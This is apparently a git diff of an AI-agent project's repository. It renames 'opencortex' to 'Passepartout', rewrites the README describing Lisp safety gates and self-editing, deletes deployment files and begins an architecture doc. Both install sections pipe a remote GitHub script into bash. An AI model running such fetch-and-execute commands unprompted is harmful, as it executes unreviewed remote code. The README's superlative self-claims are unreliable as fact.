-Org-mode is unique because it seamlessly brings together human-readable prose, structured metadata (properties and tags), lifecycle states (TODO/DONE), and executable code blocks into a single plain-text file. The code is the data, and the data is the interface. When the agent "remembers" a fact or schedules a task, it writes an Org headline. You read exactly what the agent reads.
-
-*The Token Advantage:* Because Org-mode is a strict outline, opencortex never needs to send an entire document to an AI model. It uses *Sparse Trees* to send a high-level table of contents, zooming in only on the specific headline relevant to the task. This drastically reduces token consumption and eliminates context window overflow.
-
-** 2. Common Lisp: The Engine of Self-Modification
-There is a beautiful irony to opencortex: Lisp was invented in 1958 specifically to achieve Artificial Intelligence, and it has been waiting nearly 70 years for /this exact moment/ in computing history. 
-
-Lisp possesses a unique property called *Homoiconicity*: the primary representation of the program is also a data structure (nested lists) within the language itself. Because Lisp code /is/ Lisp data, it is trivially easy for an AI to generate, manipulate, and safely evaluate new tools at runtime. This makes Lisp the ultimate, un-brittle language for a "self-writing" agent.
-
-** 3. The Probabilistic-Protodeterministic Loop
-opencortex does not let AI models touch your system directly. Instead, it splits cognition into two distinct engines:
-- *The Probabilistic Engine (The AI Models):* Provides semantic understanding, multimodal translation, and probabilistic creativity. It looks at your Memex and proposes an action by writing a strictly formatted Lisp s-expression.
-- *The Deterministic Engine (Common Lisp):* Provides deterministic logic, physics, and safety. It intercepts the model's Lisp proposal, formally verifies its structure against your security rules, and only executes it if it is mathematically sound.
-
-Crucially, the Deterministic engine is *continuously progressive*. Right now, it starts by acting as a strict security bouncer—enforcing rules and bounding the AI's actions. But as the system matures, the Deterministic engine will progressively take over more and more of the actual reasoning, reducing the AI models' involvement to a mere semantic translation layer for the messy outside world. We are moving from a /probabilistic-protodeterministic/ system today, toward a fully autonomous /probabilistic-deterministic/ Lisp machine tomorrow.
-
-* Architecture: Thin Harness, Fat Skills
-
-To guarantee long-term stability, opencortex enforces a strict architectural boundary inspired by the "thin harness, fat skills" philosophy.
-
-** The Minimalist Harness
-The Lisp microkernel does almost no actual "work." It is a thin, unbreakable harness strictly responsible for three things:
-1. *The Memory:* Maintaining the live graph of your Memex in RAM.
-2. *The Communication Protocol:* Managing the secure bridge between the agent and the outside world. While power users can connect natively via Emacs or Vim, the vast majority of users will interact with opencortex exclusively through chat clients (like Telegram, Signal, or Matrix), web dashboards, or a Terminal UI (TUI). The harness doesn't care; it just securely routes the messages.
-3. *The Cognitive Cycle:* Moving signals through the Perceive -> Probabilistic -> Deterministic -> Dispatch pipeline.
-
-Everything else—AI routing, vector embeddings, shell execution, or web browsing—is pushed entirely out of the harness and into *Fat Skills*.
-
-** Literate, Single-File Skills
-In standard agent frameworks, adding a new capability (like "Search the Web") requires creating a sprawling folder with a Python script, a JSON configuration file, and a separate text file for the AI prompt. This creates massive structural bloat.
-
-In opencortex, a Skill is simply a *single .org file*. 
-
-Using *Literate Programming*, this single file contains everything:
-- The human-readable documentation and architectural intent.
-- The system prompt instructions for the Probabilistic Engine.
-- The deterministic Lisp code for the Deterministic engine's safety checks.
-- The actual execution logic.
-
-When the system boots, it parses these single files, mathematically proves their dependencies, and compiles them directly into the live Lisp image.
-
-** The Anatomy: Three Data Stores
-The agent's "mind" is not a transient chat session; it is a durable, stateful architecture consisting of three layers:
-1. *The Linguistic Substrate (Plaintext Files):* The human-readable Source of Truth on your hard drive. You can edit these files in any text editor, and the agent will instantly perceive the changes.
-2. *The Lisp Memory (RAM):* The "Active Brain," a live, threaded graph of Lisp objects representing every headline, paragraph, and tag in your Memex. It allows the agent to navigate your life instantly without constantly re-reading files.
-3. *The Telemetry Store (External):* A high-volume database for sub-deterministic sensory data (e.g., smart home logs or system metrics), which the agent monitors and distills.
-
-** The Psychology: The 2x2 Cognitive Matrix
-The agent operates on a matrix that balances cognitive speed with cognitive state:
-
-| | Probabilistic (Neural/Intuitive) | Deterministic (Deterministic/Logical) |
-| :--- | :--- | :--- |
-| Foreground (Active) | *The Interface:* Fast AI models for conversation, multimodal ingestion, and semantic understanding. | *The Steward:* Lisp engine that safely retrieves requested data from the Memex and enforces security rules while the Interface keeps you engaged. |
-| Background (Passive) | *The Editor:* Deep AI models finding hidden patterns while you sleep. | *The Librarian:* Lisp engine continuously maintaining data integrity and filing away loose notes. |
-
-** The Physiology: Five Core Processes
-1. *Perception:* Automatically vectorizes your input and sets the "Foreground Focus" so the agent knows exactly what you are looking at or talking about.
-2. *Reasoning:* Uses Lisp-native logic to reconcile contradictions and enforce the physics of the Memex.
-3. *Distillation:* A Background loop that reads your chronological daily logs and automatically extracts concepts into permanent, evergreen notes.
-4. *Reflection:* A heartbeat-driven process that finds forgotten links and maintains the structural health of the system.
-5. *Sensation:* A converter that monitors the raw flood of telemetry data and turns significant anomalies into actionable TODO items on your list.
-
-* The Ecosystem: Core Skill Groups
-
-Because the harness is deliberately thin, every capability of opencortex is implemented as a single-file Literate Skill. This allows you to hot-reload, modify, or completely remove features on the fly without restarting the core environment. 
-
-The ecosystem is divided into five primary skill groups:
-
-** 1. Gateways (How you talk to the agent)
-The agent meets you where you are. While it natively integrates with text editors, it features standalone gateway skills for modern interfaces. 
-- *Chat Gateways:* Interact securely from your phone via clients like Matrix, Signal, or Telegram.
-- *Web & TUI Dashboards:* High-level visual overviews of your agent's background processes and telemetry.
-
-** 2. Cognition & Memory (How the agent thinks)
-- *Model Routing:* Dynamically routes requests to the best available Probabilistic model (e.g., Anthropic, OpenAI, Local Llama) based on task complexity or privacy needs.
-- *Peripheral Vision & Embeddings:* Manages the vectorization of your notes, ensuring the agent retrieves semantically relevant context via sparse trees.
-- *The Ontology Scribe:* Centralizes all rules regarding Org, GTD, and Org-Roam parsing into a single background subroutine, eliminating parser confusion across the codebase.
-
-** 3. Actuators (How the agent affects the world)
-- *The Shell Actuator:* Safely executes whitelisted terminal commands to interact with the host OS.
-- *The Playwright Bridge:* Grants the agent the ability to spin up a headless browser, navigate the web, read documentation, and interact with web applications.
-
-** 4. Security & Alignment (How the agent stays safe)
-- *Formal Verification:* The mathematical gatekeeper that proves a proposed action is safe (e.g., ensuring file writes are confined strictly to your Memex directory) before execution.
-- *The Credentials Vault:* A secure, masked enclave that prevents AI models from ever reading your raw API keys or .env files.
-
-** 5. Background Subroutines (The Autonomous Workers)
-- *The Journal Scribe:* Periodically distills messy chronological logs into clean, permanent notes.
-- *The Gardener:* A heartbeat-driven worker that flags broken links, finds orphaned ideas, and maintains the structural health of your Memex.
-
-* Quick Start (The Zero-to-One Experience)
-
-opencortex can be installed and booted with a single command. The unified entrypoint script will detect your OS, offer to install Docker if missing, interactively gather your API keys, and launch the autonomous kernel in the background.
+*Install:*
 
 #+begin_src bash
-curl -fsSL https://raw.githubusercontent.com/gharbeia/opencortex/main/opencortex.sh | bash
+curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
 #+end_src
 
-After installation, simply type `opencortex` in your terminal to start chatting with your autonomous brain.
+This installs dependencies (SBCL, Quicklisp), tangles the Org source files, and runs the setup wizard for LLM providers. Requires curl and sudo access for package installation.
 
-For power users who wish to run the agent natively (Baremetal), please refer to the [[file:literate/setup.org][setup.org]] literate documentation.
+* What is an AI Agent?
 
-* The Evolutionary Roadmap (v0.1.0 to v4.0.0+)
+An AI agent is a program that can act on your behalf — reading files, running commands, sending messages — rather than just answering questions. Unlike a chatbot that only produces text, an agent has /actuators/ that let it affect the world: a shell, a file editor, a message sender. See [[https://en.wikipedia.org/wiki/Software_agent][Software agent]] on Wikipedia.
 
-** v0.1.0: The Autonomous Foundation (Current Release)
-The initial MVP that establishes a secure, auditable Lisp kernel for a personal operating system. It features a robust metabolic pipeline, mandatory skill enforcement, and background distillation.
+Passepartout is a /sovereign/ agent: it runs on your machine, operates on your plain-text files, and verifies every action through deterministic safety gates before execution.
 
-** v1.0.0 (Phase 2.5): The Verified Wrapper (Current Target)
-At this stage, opencortex achieves feature parity with State-of-the-Art autonomous agents (like Devin or SWE-agent) but with Lisp-grade mathematical security.
-- *The Tools are External:* The agent uses a standard bash shell, a headless browser (via Playwright), and standard file I/O.
-- *The Safety is Internal:* The Bouncer and Formal Verification gates mathematically prove actions are safe before piping them to external tools.
-- *The Result:* An autonomous agent capable of end-to-end software engineering, web research, and system administration, running securely and locally.
+* What Makes Passepartout Different
 
-** v2.0.0 (Phase 3): The Cannibalization
-Replacing string-based tool wrappers with native Lisp data structures to eliminate LLM fragility.
-- *Cannibalizing the Browser:* Ingesting the DOM as a native Lisp AST rather than fighting with Playwright scripts.
-- *Cannibalizing the Shell & Editor:* Moving from bash execution to native OS API bindings. Emacs becomes a viewport for the live AST, not a master.
-- *The Result:* The LLM no longer has to guess at messy `stdout` or raw HTML strings; it manipulates deterministic data structures directly.
+** Every action is verified, not trusted.
 
-** v3.0.0 (Phase 4): True Symbolic Determinism
-The great inversion. The Lisp engine takes the wheel, and the LLM is relegated to translation.
-- *The Semantic Translator:* The LLM exclusively translates unstructured human intent (natural language, images) into strict Lisp S-expressions.
-- *Deterministic Planning (The Solver):* The core reasoning engine uses formal logic, graph traversal, and constraint solving to plan and execute workflows.
-- *Self-Correcting Syntax:* The Lisp engine catches and repairs hallucinated syntax errors without consulting the LLM.
+Most AI agents add safety checks as an afterthought — prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing. Passepartout inverts this: ten deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files, including a self-build safety boundary that prevents the agent from modifying its own core pipeline without human review. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.
 
+Every gate costs 0 LLM tokens. Every gate is a Common Lisp function, not a prompt. Every gate runs for every action, unconditionally.
+
+If a gate blocks a proposal, the rejection feedback goes back to the LLM so it can self-correct and try again. If the deterministic Dispatcher is uncertain, it creates a Flight Plan — a human-readable Org buffer you review and approve. The human decides. The Dispatcher learns from your decision and writes a rule for next time.
+
+** The more you use it, the cheaper it gets (architectural aspiration)
+
+Passepartout is designed with a downward cost curve — an architectural property, not yet measured empirically. Here is the thesis.
+
+When you use Passepartout, the Dispatcher observes every blocked action and every human-approved exception. Each decision becomes a deterministic rule. A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time. This rule-learning system is planned for v0.5.0.
+
+Meanwhile, the foveal-peripheral context model prunes your [[https://en.wikipedia.org/wiki/Memex][memex]] — your personal knowledge base, a term coined by Vannevar Bush in 1945 for a mechanised private library — to the relevant Org subtrees before sending anything to the LLM. The agent does not load your entire knowledge base, or even the entire file like agents that use Markdown do — it loads precisely the headlines that matter. Less context in, fewer tokens out.
+
+These mechanisms are implemented and working today. Token cost measurement and optimization are tracked in the [[file:docs/ROADMAP.org][v0.5.0 Roadmap]]. Until empirically verified, the cost claims in [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] (2-3x fewer tokens for coding, 13-24x for knowledge management) should be read as architectural projections, not measured results.
+
+** It edits its own source code. Verified before execution.
+
+Passepartout can read its own Org-mode source files, propose changes, and hot-reload skills into the running image without restarting. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
+
+Core pipeline files — the Perceive-Reason-Act loop, the Merkle-tree memory, the Dispatcher gate stack — are path-protected. The agent could modify its own brain stem, but it cannot do this without human review. Skills and system modules expand freely. The core stays small, protected, and auditable.
+
+No other AI agent can modify its own reasoning engine and reload the change while it is running. This is not a planned feature. It works today.
+
+** Your memory and your tasks are the same format. Org-mode.
+
+Passepartout makes a bet that most systems consider too expensive: humans and machines should share the same file format. That format is Org-mode.
+
+Your notes, your calendar, your project plans, the agent's memory, and the agent's own source code are all the same thing: Org files in ~/memex/. =headline trees. Property drawers for metadata. Source blocks for code. TODO keywords for task state. Tags for categorization.
+
+When you write a TODO in Emacs, the agent sees it immediately as a native data structure and acts on it. When the agent creates a note, you can open it in any text editor and read it. There is no import/export step, no hidden database (except maybe for indexing), no format conversion. If Passepartout stops existing tomorrow, your data survives in plain text, readable in 2040.
+
+** Works offline. Works locally. The safety doesn't stop.
+
+You can run Passepartout entirely on your hardware with a local LLM via Ollama or some other inference engine. No internet connection required. But unlike most local AI tools, offline mode does not mean safety-last. The ten deterministic safety gates are pure Common Lisp — they run identically whether you are online or off. The Merkle-tree memory with snapshot rollback is in-process, 0 milliseconds, 0 network calls. Semantic retrieval runs on in-image vectors, 0 LLM tokens per query.
+
+Cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM...) are optional add-ons. When you use them, the model-tier router automatically selects the cheapest provider that matches your task's complexity. Privacy-tagged content stays local even when cloud providers are configured.
+
+* How It Works
+
+Every signal — a chat message, a heartbeat tick, a file change notification — moves through three stages:
+
+#+begin_example
+Signal  →  Perceive  →  Reason  →  Act
+            normalize    LLM proposes  dispatch approved action
+                         gates verify  tool output feeds back
+#+end_example
+
+*Perceive* normalizes raw input from any gateway (TUI, CLI, Telegram, Signal) into a uniform signal plist. Buffer updates from Emacs ingest Org AST nodes into memory. Heartbeat ticks trigger background maintenance. HITL commands intercept before the LLM is invoked.
+
+*Reason* calls the LLM to generate a proposal, then runs the proposal through every registered deterministic gate — sorted by priority, highest first. If a gate rejects (shell command blocked, path protected, secret exposed), the rejection trace feeds back to the LLM for self-correction, up to three retries. If a gate requests human approval, the action becomes a Flight Plan awaiting your decision. If all gates pass, the action proceeds to Act.
+
+*Act* dispatches the approved action to the correct actuator: shell commands go to the shell actuator (with timeout and output limiting), tool invocations go to the cognitive tool registry, system commands trigger internal harness operations, and chat responses route to the TUI or messaging gateway. Each stage can feed back into Perceive — a tool output becomes the next perception.
+
+This pipeline is not a single-threaded bottleneck. The priority-queued signal processor (v0.5.0 roadmap) preempts background maintenance for user interactions. The Merkle-tree memory supports concurrent reads and writes through versioned snapshots — multiple signals can process simultaneously without corrupting shared state.
+
+Deep detail: [[file:docs/ARCHITECTURE.org][Architecture]] for the full code map and pipeline flow, [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] for the rationale behind every architectural choice.
+
+* Current Capabilities
+
+Features marked =Stable= ship in the current release. Features marked =Planned= are scheduled in the [[file:docs/ROADMAP.org][Roadmap]].
+
+| Capability                       | Status   | Since   | Notes                                                                |
+|----------------------------------+----------+---------+----------------------------------------------------------------------|
+| 10-vector deterministic safety   | Stable   | v0.2.0  | Secrets, paths, self-build, shells, network, lisp, privacy, approval |
+| Foveal-peripheral context model | Stable   | v0.2.0  | Sends relevant subtrees, not all files                               |
+| Merkle-tree memory + snapshots   | Stable   | v0.2.0  | Integrity hashing, copy-on-write rollback                            |
+| Self-editing + hot-reload         | Stable   | v0.2.0  | Agent reads, modifies, reloads its own code                          |
+| 8 provider cascade                | Stable   | v0.1.0  | OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA, local |
+| Terminal UI (Croatoan)            | Stable   | v0.2.0  | Scrollback, history, themes, commands, tab completion                |
+| Skill engine (20+ skills)         | Stable   | v0.1.0  | Jailed loading, topological sort, hot-reload                         |
+| Human-in-the-Loop approval        | Stable   | v0.3.0  | Flight Plan workflow for blocked actions                             |
+| Model-tier routing                | Stable   | v0.3.0  | Sends simple tasks to cheaper models                                 |
+| Event orchestrator (hooks + cron) | Stable   | v0.3.0  | Org-based hook and cron dispatch                                     |
+| Context manager (project scoping) | Stable   | v0.3.0  | Push/pop focus, persist across restart                               |
+| Semantic retrieval (trigram)      | Stable   | v0.4.0  | Trigram Jaccard — lexical overlap, 0 LLM tokens                      |
+| TUI gate trace + focus map        | Stable   | v0.4.0  | Visual safety trace + what the agent is looking at                   |
+| Emacs bridge                      | Stable   | v0.4.0  | Native Emacs client over the wire protocol                           |
+| Self-build safety boundary        | Stable   | v0.4.0  | Core files path-protected, HITL Flight Plan required                 |
+| Expanded theme (25-color)         | Stable   | v0.4.0  | 4 named presets (dark/light/gruvbox/solarized), /theme command       |
+| Discord + Slack gateways          | Stable   | v0.4.0  | 4 platforms: Telegram, Signal, Discord, Slack                        |
+| Native embedding inference        | Beta     | v0.4.x  | CFFI llama.cpp binding, nomic-embed-text (768-dim)                   |
+| Structured output (function-calling) | Stable | v0.4.2 | LLM tool use via native function-calling API, JSON→plist boundary |
+| Shell sandbox (bwrap)               | Stable | v0.4.3 | Bubblewrap namespace isolation, network/IPC lockdown   |
+| Shell severity classification        | Stable | v0.4.3 | catastrophic→dangerous→moderate→harmless tier system   |
+| Token economics + cost tracking   | Stable   | v0.5.0  | Per-session cost counter, prompt caching, budget enforcement         |
+| Time awareness                    | Stable   | v0.6.0  | Symbolic-time-memory + sensor-time skills, ISO timestamps in prompts |
+| TUI readline/Ctrl bindings        | Stable   | v0.7.0  | Ctrl+U/W/A/E/L/D, Ctrl+X+E editor, Ctrl+C interrupt cascade         |
+| TUI Unicode width                 | Stable   | v0.7.0  | char-width: ASCII/CJK/emoji/combining marks, pure Lisp               |
+| TUI scroll notification           | Stable   | v0.7.0  | :scroll-notify flag, new-message alert when scrolled up              |
+| TUI deeper autocomplete           | Stable   | v0.7.0  | @ file paths, /theme subcommand, /focus directories                  |
+| Streaming responses               | Stable   | v0.7.1  | SSE streaming, live output in TUI, interrupt-and-redirect            |
+| TUI markdown rendering            | Stable   | v0.7.1  | Bold/italic/inline code styled via Croatoan attributes               |
+| Priority-queue signal processing  | Planned  | v0.7.2  | Preempts background for user interactions                            |
+| Markdown rendering (full)         | Planned  | v0.7.2  | Code blocks, tables, blockquotes, hyperlinks                         |
+| MCP-native tool ecosystem         | Planned  | v0.7.0  | 50+ tools from the MCP ecosystem                                     |
+| Voice gateway                     | Planned  | v0.7.3  | Speech-to-text + text-to-speech via Whisper / ElevenLabs             |
+| Task planning (tree DAG)          | Planned  | v0.8.0  | Org headline task trees, branch pruning                              |
+| Skill creator                     | Planned  | v0.8.0  | LLM drafts skills from natural language, verified before load        |
+| Computer use / vision             | Planned  | v0.9.0  | Screenshot capture, UI interaction                                   |
+| SWE-bench evaluation harness      | Planned  | v0.9.0  | Automated benchmark scoring with Org trajectory audit                |
+| Consensus loop (multi-provider)   | Planned  | v0.10.0 | Parallel inference, disagreement detection                           |
+| GTD integration                   | Planned  | v0.10.0 | Full capture-clarify-organize-reflect-engage                         |
+| Deep Emacs integration            | Planned  | v0.10.0 | Org-agenda, clock time, refile, archive                              |
+
+* Quick Start
+
+After installation, the =passepartout= command is available from anywhere.
+
+#+begin_src bash
+passepartout tui       # launch the terminal interface
+passepartout daemon    # start the background daemon (for TUI/CLI/gateways)
+passepartout doctor    # run system health check
+#+end_src
+
+See [[file:docs/USER_MANUAL.org][User Manual]] for the full guide.
+
+* Project Documentation
+
+| Document                                  | Answers                                               |
+|-------------------------------------------+-------------------------------------------------------|
+| [[file:docs/USER_MANUAL.org][User Manual]]            | How do I use it?                                      |
+| [[file:docs/ARCHITECTURE.org][Architecture]]       | How does it work inside?                              |
+| [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] | Why was it built this way?                            |
+| [[file:docs/ROADMAP.org][Roadmap]]                  | Where is it going? When?                              |
+| [[file:docs/CONTRIBUTING.org][Contributing]]         | How do I contribute?                                  |
+
+* License
+
+Passepartout is released under the [[file:LICENSE][AGPLv3 license]].
+See [[file:CLA.org][CLA.org]] for the Contributor License Agreement.

USER_MANUAL.md

@@ -1,55 +0,0 @@
-# OpenCortex v0.1.0 User Manual
-
-OpenCortex is a neurosymbolic AI agent designed for autonomous Memex maintenance. It combines the probabilistic power of Large Language Models with the deterministic safety of Common Lisp and the structured clarity of Org-mode.
-
-## 1. Quick Start
-
-Install and boot OpenCortex with a single command:
-
-```bash
-curl -fsSL https://raw.githubusercontent.com/gharbeia/opencortex/main/opencortex.sh | bash
-```
-
-Once installed, simply run `opencortex` to start the interactive CLI.
-
-## 2. The Core MVP Skills
-
-The v0.1.0 release includes the following essential skills:
-
-### Safety & Integrity
-*   **System Policy:** Enforces core invariants (Sovereignty, Transparency).
-*   **The Bouncer:** Inspects all proposed actions and blocks high-risk operations.
-*   **Protocol Validator:** Ensures communication integrity.
-
-### Cognitive Kernel
-*   **LLM Gateway:** Routes requests to your preferred provider (Gemini, Anthropic, etc.).
-*   **Peripheral Vision:** Manages context and retrieves relevant notes via Sparse Trees.
-*   **Memory Steward:** Maintains the live graph of your Org-mode Memex.
-*   **Credentials Vault:** Securely stores your API keys.
-
-### Interaction & Actuation
-*   **CLI Gateway:** The primary interface for chatting with your agent.
-*   **Shell Actuator:** Allows the agent to perform safe system side-effects.
-
-### Autonomous Services
-*   **The Scribe:** Automatically distills your daily chronological logs into structured notes.
-*   **The Gardener:** Proactively repairs broken links and flags orphaned nodes.
-
-## 3. Basic Usage
-
-### Chatting
-Type natural language messages into the CLI. The agent will perceive your intent, consult its Memory, and propose actions.
-
-### Memex Maintenance
-OpenCortex monitors your `daily/` directory. Use the Scribe to distill your thoughts:
-`User: Distill my notes from yesterday.`
-
-### Safety Approvals
-When the Bouncer intercepts a high-impact action, it will create a "Flight Plan" in your Memex. You must mark it as `APPROVED` before the agent proceeds.
-
-## 4. Configuration
-
-All configuration is stored in the `.env` file in your installation directory. You can update your API keys, change your Assistant's name, or modify the mandatory skill list there.
-
----
-*OpenCortex: The Conductor of your Life Stack.*

deploy/bare-metal/install.sh

@@ -1,46 +0,0 @@
-#!/bin/bash
-# opencortex: Bare Metal Installation Script
-# This script sets up the opencortex daemon on a Linux host (Debian/Fedora).
-
-set -e
-
-echo "--- opencortex: Bare Metal Installation ---"
-
-# 1. Check Dependencies
-echo "[1/4] Checking dependencies..."
-for cmd in sbcl curl git ripgrep; do
-    if ! command -v $cmd &> /dev/null; then
-        echo "Error: $cmd is not installed. Please install it first."
-        exit 1
-    fi
-done
-
-# 2. Setup Quicklisp
-if [ ! -d "$HOME/quicklisp" ]; then
-    echo "[2/4] Quicklisp not found. Installing..."
-    curl -O https://beta.quicklisp.org/quicklisp.lisp
-    sbcl --non-interactive --load quicklisp.lisp --eval '(quicklisp-quickstart:install)'
-    rm quicklisp.lisp
-    echo "Quicklisp installed."
-else
-    echo "[2/4] Quicklisp already installed."
-fi
-
-# 3. Build standalone binary
-echo "[3/4] Building standalone binary..."
-PROJECT_ROOT=$(pwd)/../..
-sbcl --non-interactive \
-     --eval "(push \"$PROJECT_ROOT/\" asdf:*central-registry*)" \
-     --eval "(ql:quickload :opencortex)" \
-     --eval "(asdf:make :opencortex)"
-
-echo "Binary built: $PROJECT_ROOT/opencortex-server"
-
-# 4. Instructions for Systemd
-echo "[4/4] Installation complete."
-echo ""
-echo "To run as a systemd service:"
-echo "1. Edit opencortex.service to set correct paths."
-echo "2. sudo cp opencortex.service /etc/systemd/system/"
-echo "3. sudo systemctl daemon-reload"
-echo "4. sudo systemctl enable --now opencortex"

deploy/bare-metal/org-agent.service

@@ -1,18 +0,0 @@
-[Unit]
-Description=opencortex: Probabilistic-Deterministic Lisp Machine Kernel
-After=network.target
-
-[Service]
-Type=simple
-# Update User and WorkingDirectory to match your local setup
-User=amr
-WorkingDirectory=/home/amr/.openclaw/workspace/memex/5_projects/opencortex
-ExecStart=/home/amr/.openclaw/workspace/memex/5_projects/opencortex/opencortex-server
-Restart=always
-RestartSec=10
-
-# Environment variables can be loaded from the .env file
-EnvironmentFile=/home/amr/.openclaw/workspace/memex/5_projects/opencortex/.env
-
-[Install]
-WantedBy=multi-user.target

deploy/docker/Dockerfile

@@ -1,44 +0,0 @@
-FROM debian:bookworm-slim
-
-# Install SBCL, ripgrep, and build dependencies
-RUN apt-get update && \
-    apt-get install -y sbcl build-essential curl git ripgrep libsqlite3-dev lynx python3 python3-pip && \
-    apt-get clean && \
-    rm -rf /var/lib/apt/lists/*
-
-# Install Quicklisp globally
-RUN curl -O https://beta.quicklisp.org/quicklisp.lisp && \
-    sbcl --non-interactive \
-         --load quicklisp.lisp \
-         --eval '(quicklisp-quickstart:install :path "/opt/quicklisp")' \
-         --eval '(ql-util:without-prompting (ql:add-to-init-file))' && \
-    rm quicklisp.lisp
-
-# Set up the working directory
-WORKDIR /app
-
-# Copy source code and system definition
-COPY opencortex.asd /app/
-COPY src/ /app/src/
-
-# Ensure we aren't using a stale binary from the host
-RUN rm -f /app/opencortex-server
-
-# Build the standalone binary natively inside the container
-# This ensures GLIBC compatibility with the runtime environment.
-RUN sbcl --non-interactive \
-         --eval '(push "/app/" asdf:*central-registry*)' \
-         --eval '(ql:quickload :opencortex)' \
-         --eval '(asdf:make :opencortex)'
-
-# Ensure the binary is executable
-RUN chmod +x /app/opencortex-server
-
-# Expose the communication protocol and Web Dashboard ports
-EXPOSE 9105 8080
-
-# The app expects the memex to be mounted here
-VOLUME /memex
-
-# Run the natively compiled standalone daemon
-CMD ["./opencortex-server"]

deploy/docker/docker-compose.yml

@@ -1,18 +0,0 @@
-version: '3.8'
-
-services:
-  opencortex:
-    build:
-      context: ../..
-      dockerfile: deploy/docker/Dockerfile
-    container_name: opencortex
-    restart: unless-stopped
-    ports:
-      - "${ORG_AGENT_DAEMON_PORT:-9105}:${ORG_AGENT_DAEMON_PORT:-9105}"
-      - "${ORG_AGENT_WEB_PORT:-8080}:${ORG_AGENT_WEB_PORT:-8080}"
-    volumes:
-      - /memex:/memex
-
-networks:
-  sandbox-net:
-    driver: bridge

deploy/guix/manifest.scm

@@ -1,14 +0,0 @@
-;; opencortex: Guix Environment Manifest
-;; Usage: guix shell -m manifest.scm -- sbcl --eval ...
-
-(specifications->manifest
- '("sbcl"
-   "sbcl-cl-json"
-   "sbcl-bordeaux-threads"
-   "sbcl-usocket"
-   "sbcl-dexador"
-   "sbcl-cl-ppcre"
-   "ripgrep"
-   "git"
-   "curl"
-   "sqlite"))

deploy/lxc/setup.org

@@ -1,33 +0,0 @@
-#+TITLE: LXC / Systemd-nspawn Deployment Guide
-#+AUTHOR: opencortex
-
-* Overview
-For users who prefer containerization without the overhead or dependency on the Docker daemon, `opencortex` can be run within a standard Linux Container (LXC) or a systemd-nspawn container.
-
-* Systemd-nspawn Setup (Fastest for Linux users)
-
-1. **Create the container root:**
-   #+begin_src bash
-   sudo debootstrap --arch=amd64 bookworm /var/lib/machines/opencortex
-   #+end_src
-
-2. **Start and enter the container:**
-   #+begin_src bash
-   sudo systemd-nspawn -D /var/lib/machines/opencortex
-   #+end_src
-
-3. **Install dependencies (inside container):**
-   #+begin_src bash
-   apt-get update && apt-get install -y sbcl curl git ripgrep libsqlite3-dev build-essential
-   #+end_src
-
-4. **Bind mount the Memex directory:**
-   Add this to your container startup or use the `--bind` flag:
-   #+begin_src bash
-   sudo systemd-nspawn -D /var/lib/machines/opencortex --bind /home/amr/.openclaw/workspace/memex
-   #+end_src
-
-* Proxmox LXC Setup
-1. Create a new LXC container using the Debian 12 template.
-2. Ensure the network is bridged so Emacs can reach it.
-3. Run the `deploy/bare-metal/install.sh` script inside the container.

deploy/vms/debian/Vagrantfile

@@ -1,22 +0,0 @@
-Vagrant.configure("2") do |config|
-  config.vm.box = "debian/bookworm64"
-  config.vm.network "forwarded_port", guest: 9105, host: 9105
-
-  config.vm.provider "virtualbox" do |vb|
-    vb.memory = "1024"
-    vb.cpus = 2
-  end
-
-  config.vm.provision "shell", inline: <<-SHELL
-    apt-get update
-    apt-get install -y sbcl curl git ripgrep libsqlite3-dev build-essential
-    
-    # Setup for opencortex
-    mkdir -p /home/vagrant/opencortex
-    cp -r /vagrant/* /home/vagrant/opencortex/
-    chown -R vagrant:vagrant /home/vagrant/opencortex
-    
-    # Build binary natively
-    sudo -u vagrant bash -c "cd /home/vagrant/opencortex && ./deploy/bare-metal/install.sh"
-  SHELL
-end

deploy/vms/fedora/Vagrantfile

@@ -1,21 +0,0 @@
-Vagrant.configure("2") do |config|
-  config.vm.box = "fedora/39-cloud-base"
-  config.vm.network "forwarded_port", guest: 9105, host: 9105
-
-  config.vm.provider "virtualbox" do |vb|
-    vb.memory = "1024"
-    vb.cpus = 2
-  end
-
-  config.vm.provision "shell", inline: <<-SHELL
-    dnf install -y sbcl curl git ripgrep sqlite-devel make gcc
-    
-    # Setup for opencortex
-    mkdir -p /home/vagrant/opencortex
-    cp -r /vagrant/* /home/vagrant/opencortex/
-    chown -R vagrant:vagrant /home/vagrant/opencortex
-    
-    # Build binary natively
-    sudo -u vagrant bash -c "cd /home/vagrant/opencortex && ./deploy/bare-metal/install.sh"
-  SHELL
-end

docker-compose.yml

@@ -1,19 +0,0 @@
-services:
-  opencortex:
-    build:
-      context: .
-      dockerfile: Dockerfile
-    container_name: opencortex
-    env_file: .env
-    volumes:
-      # Mount the entire memex directory (2 levels up from projects/opencortex)
-      - ../..:/memex
-      # Ensure signal-cli state is preserved
-      - signal-state:/root/.local/share/signal-cli
-    ports:
-      - "${ORG_AGENT_DAEMON_PORT:-9105}:9105"
-      - "${ORG_AGENT_WEB_PORT:-8080}:8080"
-    restart: unless-stopped
-
-volumes:
-  signal-state:

docs/ARCHITECTURE.org

@@ -0,0 +1,139 @@
+#+TITLE: Passepartout Architecture
+#+AUTHOR: Agent
+#+STARTUP: content
+
+* The Four Quadrants
+
+Passepartout divides cognition along two axes: **Foreground vs Background** (initiated by the user vs running autonomously) and **Probabilistic vs Deterministic** (LLM-driven vs pure Lisp logic).
+
+|                | Probabilistic (LLM)                                         | Deterministic (Lisp)                                       |
+|----------------+-------------------------------------------------------------+------------------------------------------------------------|
+| **Foreground** | Chat responses, task execution, code generation             | Shell execution, file I/O, safety gates, dispatcher checks |
+| **Background** | Scribe distillation, vector embedding, autonomous decisions | Heartbeat, cron jobs, memory auto-save, gateway polling    |
+
+The Probabilistic engine proposes. The Deterministic engine verifies and executes. No proposal from the LLM touches a file, runs a command, or sends a message without passing through at least one deterministic gate.
+
+* Architectural Layers
+
